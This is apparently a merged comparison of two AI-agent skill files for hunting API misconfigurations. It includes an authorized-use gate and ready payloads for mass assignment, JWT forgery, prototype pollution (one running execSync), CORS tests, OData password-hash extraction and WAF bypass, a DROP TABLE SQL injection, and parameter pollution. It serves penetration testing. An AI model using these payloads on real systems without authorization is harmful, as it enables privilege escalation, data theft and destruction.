domains / security / api-misconfig-hunt / hunt-api-misconfig
Both copies cover the same core API misconfiguration classes (mass assignment, JWT alg=none, RS256→HS256 confusion, prototype pollution), but each contains material steps the other lacks. The uphiago copy adds HTTP verb tampering, CORS exploitation, and a detailed OData WAF-bypass section. The sickn33 copy adds a mandatory authorization gate, a detailed prototype-pollution hunt sequence (marker pollution, sink triggering, escalation), and a server-side parameter pollution hunt sequence. Crowning one would hide the other's unique procedures and constraints.
| Repository | Path |
|---|---|
| uphiago/recon-skills | redteam/hunt-api-misconfig/SKILL.md |
| sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills-claude/skills/hunt-api-misconfig/SKILL.md |
| Role | Repository | Path |
|---|---|---|
| peer | uphiago/recon-skills | redteam/hunt-api-misconfig/SKILL.md |
| peer | sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills-claude/skills/hunt-api-misconfig/SKILL.md |
| adapter | sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills/skills/hunt-api-misconfig/SKILL.md |
| adapter | sickn33/agentic-awesome-skills | skills/hunt-api-misconfig/SKILL.md |
---
name: hunt-api-misconfig
description: "Hunt API security misconfiguration — mass assignment, JWT attacks, prototype pollution, HTTP verb tampering, OData WAF bypass, server-side parameter pollution."
version: 1.2.0
license: MIT
category: redteam
tags: [api, misconfiguration, hunt, redteam, security]
---
> **AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
## 1. Mass Assignment
Send privileged fields on profile/account/reset endpoints where the server blindly applies the request body.
```javascript
User.update(req.body) // body has {"role": "admin"} → privilege escalation
```
Test payloads: `{"is_admin":true, "role":"admin", "verified":true}` on profile, account, and reset endpoints.
## 2. JWT Attacks
### 2a. None Algorithm
```python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
```
### 2b. RS256 → HS256 Algorithm Confusion
```python
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
```
### 2c. Other JWT vectors
- Weak HMAC secret bruteforce
- `kid` path traversal
- JWK injection
- Token confusion between RS256 and HS256
Detection: decode JWTs found in headers at jwt.io; look for API responses with extra fields.
## 3. Prototype Pollution
### 3a. Payloads
```javascript
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
```
### 3b. Hunt sequence
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype state reaches a later operation.
1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
2. **Pollute harmless marker properties.** Send variants such as:
```
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
```
3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.
4. **Escalate only through learned sinks.** Candidate properties depend on the sink:
```
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
```
5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
## 4. HTTP Verb Tampering
- GET-bypass-CSRF: send sensitive operations via GET
- X-HTTP-Method-Override: override POST to PUT/DELETE
- TRACE enabled: check for TRACE method support
## 5. CORS Exploitation
```bash
# Test: reflected origin + credentials
curl --max-time 30 --connect-timeout 10 -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
```
Also test: null origin, subdomain-regex bypass, postMessage.
## 6. OData WAF-Blacklist Bypass
OData is the query layer behind SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori, and ASP.NET WebAPI projects using Microsoft.AspNetCore.OData. It exposes SQL-shaped query operators that keyword-blacklist WAFs routinely fail open on.
### 6a. Boolean-logic blind extraction via startswith / substringof
```
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
```
Iterate prefix character-by-character; cardinality of the response (or @odata.count) is the boolean oracle.
### 6b. $orderby / $select column-disclosure bypass
```
GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
```
Column-level ACLs are enforced on $select but NOT on $orderby / $filter.
### 6c. $batch multipart/mixed → per-request WAF signatures miss sub-operations
```
POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--
```
### 6d. Encoded / non-canonical operator → keyword-blacklist bypass
```
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201
GET /api?%2524filter=...
GET /Users(1)/$value
```
### 6e. OData → real SQLi when library passes filter raw
```
$filter=Name eq 'x'); DROP TABLE Users--'
```
Only triggers when the OData layer string-concatenates into SQL instead of using LINQ.
## 7. Server-Side Parameter Pollution in Backend URL / REST URL Construction
Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The server takes your input and interpolates it into a backend URL path or query string.
Hunt sequence:
1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look for form actions, fetch(...), hidden CSRF fields, and the exact parameter name the browser sends.
2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input: #, ?, &x=y, /, ../, and encoded forms %23, %3f, %26x=y, %2f, %2e%2e%2f. Distinct errors mean your value is being interpreted by a server-side URL router.
3. **Use path traversal to move inside the server-side URL.** If username/../other-user changes the referenced account, the input is in a REST path segment. Then try appending route fragments such as /field/email, /field/id, /field/username, /field/passwordResetToken, and terminate the rest of the original backend path with # or %23 when the backend URL parser honors fragments.
4. **Discover API documentation from errors.** When an error says to consult the API definition, probe common documentation/spec paths: /openapi.json, /swagger.json.